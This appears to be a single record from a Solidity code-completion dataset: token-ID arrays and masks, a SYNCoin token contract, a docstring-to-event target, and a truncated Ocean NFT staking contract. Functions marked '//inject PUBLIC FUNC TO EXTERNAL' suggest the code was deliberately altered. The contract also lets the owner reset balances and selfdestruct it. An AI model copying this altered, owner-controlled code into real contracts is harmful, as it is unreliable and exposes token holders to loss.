[ 1, 3639, 2254, 10811, 1340, 273, 3844, 380, 22489, 67, 8090, 41, 342, 10950, 19666, 55, 67, 2565, 20059, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.2; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address payable public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address payable newOwner) public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract SYNCContract is Ownable { using SafeMath for uint256; mapping(address => uint256) internal balances; mapping(address => uint256) internal totalBalances; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => uint256) internal totalAllowed; /** * @dev total number of tokens in existence */ uint256 internal totSupply; /** * @dev Gets the total supply of tokens currently in circulation. * @return An uint256 representing the amount of tokens already minted. */ function totalSupply() view public returns(uint256) { return totSupply; } /** * @dev Gets the sum of all tokens that this address allowed others spend on its expence. * Basically a sum of all allowances from this address * @param _owner The address to query the allowances of. * @return An uint256 representing the sum of all allowances of the passed address. */ function getTotalAllowed(address _owner) view public returns(uint256) { return totalAllowed[_owner]; } /** * @dev Sets the sum of all tokens that this address allowed others spend on its expence. * @param _owner The address to query the allowances of. * @param _newValue The amount of tokens allowed by the _owner address. */ function setTotalAllowed(address _owner, uint256 _newValue) internal { totalAllowed[_owner]=_newValue; } /** * @dev Sets the total supply of tokens currently in circulation. * Callable only internally and only when total supply should be changed for consistency * @param _newValue An uint256 representing the amount of tokens already minted. */ function setTotalSupply(uint256 _newValue) internal { totSupply=_newValue; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) view public returns(uint256) { return balances[_owner]; } /** * @dev Sets the balance of the specified address. * Only callable from inside smart contract by method updateInvestorTokenBalance, which is callable only by contract owner * @param _investor The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function setBalanceOf(address _investor, uint256 _newValue) internal { require(_investor!=0x0000000000000000000000000000000000000000); balances[_investor]=_newValue; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) view public returns(uint256) { require(msg.sender==_owner || msg.sender == _spender || msg.sender==getOwner()); return allowed[_owner][_spender]; } /** * @dev Set the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @param _newValue uint256 The amount of tokens allowed to spend by _spender on _owsner's expence. */ function setAllowance(address _owner, address _spender, uint256 _newValue) internal { require(_spender!=0x0000000000000000000000000000000000000000); uint256 newTotal = getTotalAllowed(_owner).sub(allowance(_owner, _spender)).add(_newValue); require(newTotal <= balanceOf(_owner)); allowed[_owner][_spender]=_newValue; setTotalAllowed(_owner,newTotal); } constructor() public { // require(_rate > 0); // require(_cap > 0); //rate=_rate; cap = 48000000*1000000000000000000; } bytes32 public constant name = "SYNCoin"; bytes4 public constant symbol = "SYNC"; uint8 public constant decimals = 18; uint256 public cap; bool public mintingFinished; /** @dev Fires on every transportation of tokens, both minting and transfer * @param _from address The address from which transfer has been initialized. * @param _to address The address to where the tokens are headed. * @param value uint256 The amount of tokens transferred */ event Transfer(address indexed _from, address indexed _to, uint256 value); /** @dev Fires when owner allows spender to spend value of tokens on their(owner's) expence * @param _owner address The address from which allowance has been initialized. * @param _spender address The address who was allowed to spend tokens on owner's expence. * @param value uint256 The amount of tokens allowed for spending */ event Approval(address indexed _owner, address indexed _spender, uint256 value); /** @dev Fires on every creation of new tokens * @param _to address The owner address of new tokens. * @param amount uint256 The amount of tokens created */ event Mint(address indexed _to, uint256 amount); /** @dev fires when minting process is complete and no new tokens can be minted */ event MintFinished(); // /** @dev Fires on every destruction of existing tokens // * @param to address The owner address of tokens burned. // * @param value uint256 The amount of tokens destroyed // */ // event Burn(address indexed _owner, uint256 _value); /** @dev Check if tokens are no more mintable */ modifier canMint() { require(!mintingFinished); _; } function getName() pure public returns(bytes32) { return name; } function getSymbol() pure public returns(bytes4) { return symbol; } function getTokenDecimals() pure public returns(uint256) { return decimals; } function getMintingFinished() view public returns(bool) { return mintingFinished; } /** @dev Get maximum amount of how many tokens can be minted by this contract * @return uint256 The amount of how many tokens can be minted by this contract */ function getTokenCap() view public returns(uint256) { return cap; } /** @dev Set maximum amount of how many tokens can be minted by this contract */ function setTokenCap(uint256 _newCap) public onlyOwner //inject PUBLIC FUNC TO EXTERNAL { cap=_newCap; } /** @dev Set the balance of _investor as _newValue. Only usable by contract owner * @param _investor address The address whose balance is updated * @param _newValue uint256. The new token balance of _investor */ function updateTokenInvestorBalance(address _investor, uint256 _newValue) onlyOwner public //inject PUBLIC FUNC TO EXTERNAL { setTokens(_investor,_newValue); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns(bool){ require(msg.sender!=_to); require(_value <= balanceOf(msg.sender)); // SafeMath.sub will throw if there is not enough balance. setBalanceOf(msg.sender, balanceOf(msg.sender).sub(_value)); setBalanceOf(_to, balanceOf(_to).add(_value)); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool){ require(_value <= balanceOf(_from)); require(_value <= allowance(_from,_to)); setBalanceOf(_from, balanceOf(_from).sub(_value)); setBalanceOf(_to, balanceOf(_to).add(_value)); setAllowance(_from,_to,allowance(_from,_to).sub(_value)); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on expence of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _owner The address of the owner which allows tokens to a spender * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _owner,address _spender, uint256 _value) public returns(bool){ require(msg.sender ==_owner); setAllowance(msg.sender,_spender, _value); emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _owner The address of the owner which allows tokens to a spender * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _owner, address _spender, uint _addedValue) public returns(bool){ require(msg.sender==_owner); setAllowance(_owner,_spender,allowance(_owner,_spender).add(_addedValue)); emit Approval(_owner, _spender, allowance(_owner,_spender)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _owner The address of the owner which allows tokens to a spender * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _owner,address _spender, uint _subtractedValue) public returns(bool){ require(msg.sender==_owner); uint oldValue = allowance(_owner,_spender); if (_subtractedValue > oldValue) { setAllowance(_owner,_spender, 0); } else { setAllowance(_owner,_spender, oldValue.sub(_subtractedValue)); } emit Approval(_owner, _spender, allowance(_owner,_spender)); return true; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) canMint internal{ require(totalSupply().add(_amount) <= getTokenCap()); setTotalSupply(totalSupply().add(_amount)); setBalanceOf(_to, balanceOf(_to).add(_amount)); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); } /** * @dev Changes balance of _to to _amount, also increments or decrements total token supply depending on whether balance is increased or decreased * @param _to address The address which token balance is updated * @param _amount uint256 The new balance */ function setTokens(address _to, uint256 _amount) canMint internal{ if(_amount > balanceOf(_to)){ uint256 diff = _amount.sub(balanceOf(_to)); require( totalSupply().add(diff) <= getTokenCap()); setTotalSupply(totalSupply().add(diff)); setBalanceOf(_to, _amount); }else{ uint256 diff = balanceOf(_to).sub(_amount); setTotalSupply(totalSupply().sub(diff)); setBalanceOf(_to, _amount); } emit Transfer(address(0), _to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() canMint onlyOwner public{ //inject PUBLIC FUNC TO EXTERNAL emit MintFinished(); } //Crowdsale // how many token units a buyer gets per wei //uint256 internal rate; // amount of raised money in wei //uint256 internal weiRaised; /** * event for token purchase logging * @param _beneficiary who got the tokens * @param value uint256 The amount of weis paid for purchase * @param amount uint256 The amount of tokens purchased */ //event TokenPurchase(address indexed _beneficiary, uint256 value, uint256 amount); /** * event for when current balance of smart contract is emptied by contract owner * @param amount uint The amount of wei withdrawn from contract balance * @param timestamp uint The timestamp of withdrawal */ //event InvestmentsWithdrawn(uint indexed amount, uint indexed timestamp); /** @dev Fallback function for when contract is simply sent ether. This calls buyTokens() method */ // function () external payable { // buyTokens(msg.sender); // } /** * @dev Just a getter for token rate * @return uint256 Current token rate stored in this contract and by which new tokens are minted */ // function getTokenRate() view public returns(uint256) // { // return rate; // } /** * @dev Setter for token rate. Callable by contract owner only * @param _newRate uint256 New token rate stored in this contract */ // function setTokenRate(uint256 _newRate) external onlyOwner // { // rate = _newRate; // } /** * @dev Returns how much wei was ever received by this smart contract */ // function getWeiRaised() view external returns(uint256) // { // return weiRaised; // } /** * @dev low level token purchase function. Can be called from fallback function or directly * @param _buyer address The address which will receive bought tokens */ // function buyTokens(address _buyer) public payable{ // require(msg.value > 0); // uint256 weiAmount = msg.value; // // calculate token amount to be created // uint256 tokens = getTokenAmount(weiAmount); // require(validPurchase(tokens)); // // update state // weiRaised = weiRaised.add(weiAmount); // mint(_buyer, tokens); // emit TokenPurchase(_buyer, weiAmount, tokens); // } /** * @dev Get how many tokens can be received for this amount of wei. * @param weiAmount uint256 The amount of wei * @return uint256 How many tokens to be bought for weiAmount */ // function getTokenAmount(uint256 weiAmount) internal view returns(uint256) { // return weiAmount.div(getTokenRate()); // } /** * @dev Function for smart contract owner to withdraw all wei from contract's balance */ // function withdrawInvestments() external onlyOwner{ // uint amount = address(this).balance; // getOwner().transfer(amount * 1 wei); // emit InvestmentsWithdrawn(amount, block.timestamp); // } /** * @dev Get current balance of smart contract in wei. Callable only by contract owner * @return uint256 Current contract balance if wei */ // function getCurrentInvestments() view external onlyOwner returns(uint256) // { // return address(this).balance; // } /** * @dev Get the address of owner of this smart contract * @return address */ function getOwner() view internal returns(address payable) { return owner; } /** * @return true if the transaction can buy tokens */ // function validPurchase(uint256 tokensAmount) internal pure returns (bool) { // bool nonZeroPurchase = tokensAmount != 0; // return nonZeroPurchase; // } function destroy() public onlyOwner{ //inject PUBLIC FUNC TO EXTERNAL selfdestruct(getOwner()); } }
* @dev Fires when owner allows spender to spend value of tokens on their(owner's) expence @param _owner address The address from which allowance has been initialized. @param _spender address The address who was allowed to spend tokens on owner's expence. @param value uint256 The amount of tokens allowed for spending/
event Approval(address indexed _owner, address indexed _spender, uint256 value);
13,019,809
[ 1, 42, 2814, 1347, 3410, 5360, 17571, 264, 358, 17571, 460, 434, 2430, 603, 3675, 12, 8443, 1807, 13, 1329, 802, 282, 389, 8443, 1758, 1021, 1758, 628, 1492, 1699, 1359, 711, 2118, 6454, 18, 282, 389, 87, 1302, 264, 1758, 1021, 1758, 10354, 1703, 2935, 358, 17571, 2430, 603, 3410, 1807, 1329, 802, 18, 282, 460, 2254, 5034, 1021, 3844, 434, 2430, 2935, 364, 272, 9561, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 389, 8443, 16, 1758, 8808, 389, 87, 1302, 264, 16, 2254, 5034, 460, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; pragma solidity ^0.8.0; interface IWhales { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; function balanceOf(address account) external view returns (uint256); } interface IBlues { function safeTransferFrom( address from, address to, uint256 tokenId ) external; function getOwnerLedger(address addr) external view returns (uint16[] memory); } contract Ocean is IERC721ReceiverUpgradeable, OwnableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable { event TokenStaked(address owner, uint128 tokenId); event WhalesMinted(address owner, uint256 amount); event TokenUnStaked(address owner, uint128 tokenId); // base reward rate uint256 DAILY_WHALES_BASE_RATE; ////////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_1; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_2; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_3; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_4; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_TIER_5; //////////////////////////////////////////////////// uint256 DAILY_WHALES_RATE_LEGENDRY; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_TIER_1; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_TIER_2; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_TIER_3; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_TIER_4; ////////////////////////////////////////////////// uint256 INITIAL_MINT_REWARD_LEGENDRY_TIER; /////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// uint128 public totalBluesStaked; ///////////////////////////////////////////////////// IERC721 Blues; /////////////////////////////////////////////////////////////////////// IWhales Whales; ////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// mapping(address => uint256) public totalWhalesEarnedPerAddress; ////////////////////// mapping(address => uint256) public lastInteractionTimeStamp; ///////////////////////// mapping(address => uint256) public userMultiplier; /////////////////////////////////// mapping(address => uint16) public totalBluesStakedPerAddress; //////////////////////// mapping(address => bool) public userFirstInteracted; ///////////////////////////////// mapping(uint256 => bool) public initialMintClaimLedger; ////////////////////////////// mapping(address => uint8) public legendryHoldingsPerUser; //////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// address[5600] public ocean; ////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// IBlues Blues_V2; ///////////////////////////////////////////////////////////////////// mapping(address => uint256) public userHoldingsMultiplier; /////////////////////////// mapping(address => uint256) public passiveYeildTimeStamp; //////////////////////////// mapping(address => bool) public userTimestampInit; /////////////////////////////////// mapping(address => uint256) public totalWhalesPassivelyEarned; /////////////////////// mapping(address => uint256) public legendariesUnstaked; ////////////////////////////// bool stakingPaused; ////////////////////////////////////////////////////////////////// uint256 seedTimestamp; /////////////////////////////////////////////////////////////// function initialize(address _whales, address _blues) external initializer { __Ownable_init(); __Pausable_init(); __ReentrancyGuard_init(); Blues = IERC721(_blues); Whales = IWhales(_whales); DAILY_WHALES_BASE_RATE = 10 ether; DAILY_WHALES_RATE_TIER_1 = 11 ether; DAILY_WHALES_RATE_TIER_2 = 12 ether; DAILY_WHALES_RATE_TIER_3 = 13 ether; DAILY_WHALES_RATE_TIER_4 = 14 ether; DAILY_WHALES_RATE_TIER_5 = 15 ether; DAILY_WHALES_RATE_LEGENDRY = 50 ether; INITIAL_MINT_REWARD_LEGENDRY_TIER = 100 ether; INITIAL_MINT_REWARD_TIER_1 = 50 ether; INITIAL_MINT_REWARD_TIER_2 = 20 ether; INITIAL_MINT_REWARD_TIER_3 = 10 ether; } /* entry point and main staking function. * takes an array of tokenIDs, and checks if the caller is * the owner of each token. * It then transfers the token to the Ocean contract. * At the end, it sets the userFirstInteracted mapping to true. * This is to prevent rewards calculation BEFORE having anything staked. * Otherwise, it leads to massive rewards. * The lastInteractionTimeStamp mapping is also updated. */ function addManyBluesToOcean(uint16[] calldata tokenIds) external nonReentrant whenNotPaused updateRewardsForUser { require(!stakingPaused, "staking is now paused"); userMultiplier[msg.sender] = DAILY_WHALES_BASE_RATE; require(tokenIds.length >= 1, "need at least 1 blue"); for (uint256 i = 0; i < tokenIds.length; i++) { require( Blues.ownerOf(tokenIds[i]) == msg.sender, "You are not the owner of this blue" ); _adjustUserLegendryWhalesMultiplier(tokenIds[i], true); totalBluesStakedPerAddress[msg.sender]++; _addBlueToOcean(msg.sender, tokenIds[i]); } _adjustUserDailyWhalesMultiplier( totalBluesStakedPerAddress[msg.sender] ); // only runs one time, the first time the user calls this function. if (userFirstInteracted[msg.sender] == false) { lastInteractionTimeStamp[msg.sender] = block.timestamp; userFirstInteracted[msg.sender] = true; } } // internal utility function that transfers the token and emits an event. function _addBlueToOcean(address account, uint16 tokenId) internal whenNotPaused { ocean[tokenId] = account; Blues.safeTransferFrom(msg.sender, address(this), tokenId); emit TokenStaked(msg.sender, tokenId); } /* This function recalculate the user's holders multiplier * whenever they stake or unstake. * There are a total of 5 yeild tiers..depending on the number of tokens staked. */ function _adjustUserDailyWhalesMultiplier(uint256 stakedBlues) internal { if (stakedBlues < 5) userMultiplier[msg.sender] = DAILY_WHALES_BASE_RATE; else { if (stakedBlues >= 5 && stakedBlues <= 9) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_1; else if (stakedBlues >= 10 && stakedBlues <= 19) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_2; else if (stakedBlues >= 20 && stakedBlues <= 39) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_3; else if (stakedBlues >= 40 && stakedBlues <= 79) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_4; else userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_5; } } function _adjustUserLegendryWhalesMultiplier(uint256 tokenId, bool staking) internal { if (staking) { if (isLegendary(tokenId)) legendryHoldingsPerUser[msg.sender]++; } else { if (isLegendary(tokenId)) legendryHoldingsPerUser[msg.sender]--; } } /* claims the rewards owed till now and updates the lastInteractionTimeStamp mapping. * also emits an event, etc.. * finally, it sets the totalWhalesEarnedPerAddress to 0. */ function claimWhalesWithoutUnstaking() external nonReentrant whenNotPaused updateRewardsForUser updatePassiveRewardsForUser { uint256 rewards = totalWhalesEarnedPerAddress[msg.sender] + totalWhalesPassivelyEarned[msg.sender]; Whales.mint(msg.sender, rewards); emit WhalesMinted(msg.sender, rewards); totalWhalesEarnedPerAddress[msg.sender] = 0; totalWhalesPassivelyEarned[msg.sender] = 0; } /* same as the previous function, except this one unstakes as well. * it verfied the owner in the Stake struct to be the msg.sender * it also verifies the the current owner is this contract. * it then decrease the total number staked for the user * and then calls safeTransferFrom. * it then mints the tokens. * finally, it calls _adjustUserDailyWhalesMultiplier */ function claimWhalesAndUnstake(uint16[] calldata tokenIds) public nonReentrant whenNotPaused updateRewardsForUser { require(userFirstInteracted[msg.sender], "Stake some blues first"); for (uint256 i = 0; i < tokenIds.length; i++) { require( Blues.ownerOf(tokenIds[i]) == address(this), "This Blue is not staked" ); require( ocean[tokenIds[i]] == msg.sender, "You are not the owner of this blue" ); _adjustUserLegendryWhalesMultiplier(tokenIds[i], false); delete ocean[tokenIds[i]]; totalBluesStakedPerAddress[msg.sender]--; Blues.safeTransferFrom(address(this), msg.sender, tokenIds[i]); } _adjustUserDailyWhalesMultiplier( totalBluesStakedPerAddress[msg.sender] ); Whales.mint(msg.sender, totalWhalesEarnedPerAddress[msg.sender]); emit WhalesMinted(msg.sender, totalWhalesEarnedPerAddress[msg.sender]); totalWhalesEarnedPerAddress[msg.sender] = 0; } /* Each minting tier is elligble for a token claim based on how early they minted. * first 500 tokenIds get 50 whales for instance. * there are 3 tiers. */ function claimInitialMintingRewards(uint256[] calldata tokenIds) external nonReentrant whenNotPaused { uint256 rewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { if (Blues.ownerOf(tokenIds[i]) == address(this)) require(ocean[tokenIds[i]] == msg.sender, "Non owner of blue"); else require(Blues.ownerOf(tokenIds[i]) == msg.sender, "Non owner"); require( initialMintClaimLedger[tokenIds[i]] == false, "Rewards already claimed for this token" ); initialMintClaimLedger[tokenIds[i]] = true; if (tokenIds[i] <= 500) rewards += INITIAL_MINT_REWARD_TIER_1; else if (tokenIds[i] > 500 && tokenIds[i] < 1500) rewards += INITIAL_MINT_REWARD_TIER_2; else rewards += INITIAL_MINT_REWARD_TIER_3; if (isLegendary(tokenIds[i])) rewards += INITIAL_MINT_REWARD_LEGENDRY_TIER; } Whales.mint(msg.sender, rewards); emit WhalesMinted(msg.sender, rewards); } function isLegendary(uint256 tokenID) public pure returns (bool) { if ( tokenID == 756 || tokenID == 2133 || tokenID == 1111 || tokenID == 999 || tokenID == 888 || tokenID == 435 || tokenID == 891 || tokenID == 918 || tokenID == 123 || tokenID == 432 || tokenID == 543 || tokenID == 444 || tokenID == 333 || tokenID == 222 || tokenID == 235 || tokenID == 645 || tokenID == 898 || tokenID == 1190 || tokenID == 3082 || tokenID == 3453 || tokenID == 2876 || tokenID == 5200 || tokenID == 451 || tokenID > 5555 ) return true; return false; } /* The main accounting modifier. * It runs when the user interacts with any other function. * and before the function itself. * stores the owed results till now in the totalWhalesEarnedPerAddress * mapping. It then sets the lastInteractionTimeStamp to the current block.timestamp */ modifier updateRewardsForUser() { if (userFirstInteracted[msg.sender]) { totalWhalesEarnedPerAddress[msg.sender] += (((block.timestamp - lastInteractionTimeStamp[msg.sender]) * totalBluesStakedPerAddress[msg.sender] * userMultiplier[msg.sender]) / 1 days) << 1; // now accounting if they are holding legendries. if (legendryHoldingsPerUser[msg.sender] > 0) { totalWhalesEarnedPerAddress[msg.sender] += ((block.timestamp - lastInteractionTimeStamp[msg.sender]) * (legendryHoldingsPerUser[msg.sender] * DAILY_WHALES_RATE_LEGENDRY)) / 1 days; } lastInteractionTimeStamp[msg.sender] = block.timestamp; } _; } // ----------------------- PASSIVE REWARDS ACCOUNTING ------------------------- // /* * @dev The main accounting modifier for held blues. * It calculates the yeild by taking into account only the unstaked Blues. * First time it is called, it calculates the yeild since a pre-determined timestamp. * Then, it sets the timestamp is set to be the last timestamp this function is called at. * it gets the held tokens from the Blues contract using getOwnerLegder * the mapping totalWhalesPassivelyEarned[msg.sender] stores WHALES earned through holding. */ modifier updatePassiveRewardsForUser() { uint16[] memory userLedger = Blues_V2.getOwnerLedger(msg.sender); if (userLedger.length > 0) { if (!userTimestampInit[msg.sender]) { passiveYeildTimeStamp[msg.sender] = seedTimestamp; userTimestampInit[msg.sender] = true; } _adjustMultiplierForPassiveYeild(userLedger.length, msg.sender); totalWhalesPassivelyEarned[msg.sender] += ( ((block.timestamp - passiveYeildTimeStamp[msg.sender]) * userLedger.length * userHoldingsMultiplier[msg.sender]) ) / 1 days; _adjustLegendaryMultiplierForPassiveYeild(userLedger, msg.sender); if (legendariesUnstaked[msg.sender] > 0) { totalWhalesPassivelyEarned[msg.sender] += ( ((block.timestamp - passiveYeildTimeStamp[msg.sender]) * (legendariesUnstaked[msg.sender] * DAILY_WHALES_RATE_LEGENDRY)) ) / 1 days; } passiveYeildTimeStamp[msg.sender] = block.timestamp; } delete userLedger; _; } /* * @dev The claiming function for the passive rewards * calls the modifier and then mint the tokens. */ function claimPassiveRewardsForUser() external nonReentrant whenNotPaused updatePassiveRewardsForUser { Whales.mint(msg.sender, totalWhalesPassivelyEarned[msg.sender]); emit WhalesMinted(msg.sender, totalWhalesPassivelyEarned[msg.sender]); totalWhalesPassivelyEarned[msg.sender] = 0; } /* * @dev This function gets the stored rewards up to now without minting. * Becuase this will depend on the last interacted timestamp, the user will need to * call at least 1 other functon that uses the passive yeild modifier before calling this function. */ function burnWhalesOnHand(uint256 amount) external whenNotPaused nonReentrant { require( amount <= Whales.balanceOf(msg.sender), "Not enough whales to burn" ); Whales.burn(msg.sender, amount); } /* * @dev This function adjusts the Legendry muliplier for the holder * This accounts for the held non-staked 